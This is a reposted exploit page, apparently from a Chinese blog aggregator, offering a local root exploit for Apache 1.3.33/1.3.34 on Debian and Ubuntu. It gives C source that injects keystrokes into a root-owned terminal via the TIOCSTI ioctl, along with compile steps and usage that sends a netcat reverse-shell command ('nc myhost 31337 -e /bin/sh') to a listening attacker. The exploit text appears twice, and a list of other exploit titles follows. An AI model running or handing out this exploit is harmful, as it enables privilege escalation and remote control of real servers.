Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit
2011-05-18 15:00
671 查看
/*
:: Kristian Hermansen ::
Date: 20070229
Description: Local attacker can influence Apache to direct commands
into an open tty owned by user who started apache process, usually root.
This results in arbitrary command execution.
Affects: Apache 1.3.33/1.3.34 on Debian Stable/Testing/Unstable/Experimental and Ubuntu Warty (4.10)/Hoary (5.04)/Breezy (5.10)/Dapper (6.06)
Edgy (6.10), Feisty (7.04).
Notes: Must have CGI execution privileges and
service started manually by root via shell.
Also try adding "Options +ExecCGI" to your .htaccess file.
Compile: gcc -o /path/to/cgi-bin/cgipwn cgipwn.c
Usage: nc -vvv -l -p 31337
http://webserver/cgi-bin/cgipwn?nc%20myhost%2031337%20-e%20%2fbin%2f/sh%0d
u53l355 gr33t5: yawn, jellyfish, phzero, pegasus, b9punk, phar, shardy,
benkurtz, ... and who could forget ... setient (the gremlin)!!
*/
#include <fcntl.h>
#include <sys/ioctl.h>
int main(int argc, char *argv[]) {
int pts = open("/dev/tty",O_RDONLY);
while(*argv[1] != '\0') {
ioctl(pts,TIOCSTI,argv[1]);
argv[1]++;
}
return 0;
}//
:: Kristian Hermansen ::
Date: 20070229
Description: Local attacker can influence Apache to direct commands
into an open tty owned by user who started apache process, usually root.
This results in arbitrary command execution.
Affects: Apache 1.3.33/1.3.34 on Debian Stable/Testing/Unstable/Experimental and Ubuntu Warty (4.10)/Hoary (5.04)/Breezy (5.10)/Dapper (6.06)
Edgy (6.10), Feisty (7.04).
Notes: Must have CGI execution privileges and
service started manually by root via shell.
Also try adding "Options +ExecCGI" to your .htaccess file.
Compile: gcc -o /path/to/cgi-bin/cgipwn cgipwn.c
Usage: nc -vvv -l -p 31337
http://webserver/cgi-bin/cgipwn?nc%20myhost%2031337%20-e%20%2fbin%2f/sh%0d
u53l355 gr33t5: yawn, jellyfish, phzero, pegasus, b9punk, phar, shardy,
benkurtz, ... and who could forget ... setient (the gremlin)!!
*/
#include <fcntl.h>
#include <sys/ioctl.h>
int main(int argc, char *argv[]) {
int pts = open("/dev/tty",O_RDONLY);
while(*argv[1] != '\0') {
ioctl(pts,TIOCSTI,argv[1]);
argv[1]++;
}
return 0;
}//
相关文章推荐
- Ubuntu PAM MOTD Local Root Exploit
- Debian/Ubuntu Apache Mod_Rewrite 安装
- 3.1.3 Debian和Ubuntu的root用户
- Debian/Ubuntu下安装Apache的Mod_Rewrite模块的步骤分享
- 开启Debian/Ubuntu root账户远程ssh登录
- LOCAL SOLARIS KERNEL ROOT EXPLOIT (< 5.10 138888-01)
- ubuntu,debian root密码忘记破解
- CVE-2015-1328 Ubuntu 12.04, 14.04, 14.10, 15.04 overlayfs Local Root
- Ubuntu Apache配置以及cgi配置
- Ubuntu Apache配置以及cgi配置方法
- Linux Kernel 2.6.32 Local Root Exploit (x86_64)
- Ubuntu下配置Apache以及搭载CGI
- Ubuntu, Debian, Kali, CentOS等linux重置root密码
- Linux kernel-2.6.18-6 x86 Local Root Exploit
- Debian <=5.0.6 /Ubuntu <=10.04 Webshell-Remote-Root
- Linux Kernel 2.6.17_ 2.6.24.1 vmsplice Local Root Exploit
- Ubuntu 14.02下编译及配置apache2.4(python CGI)
- debian、ubuntu、kali忘记root密码问题
- Debian/Ubuntu默认禁用root帐户的原因
- debian 下安装切换apache到nginx,php5-fpm和spawn-cgi运行php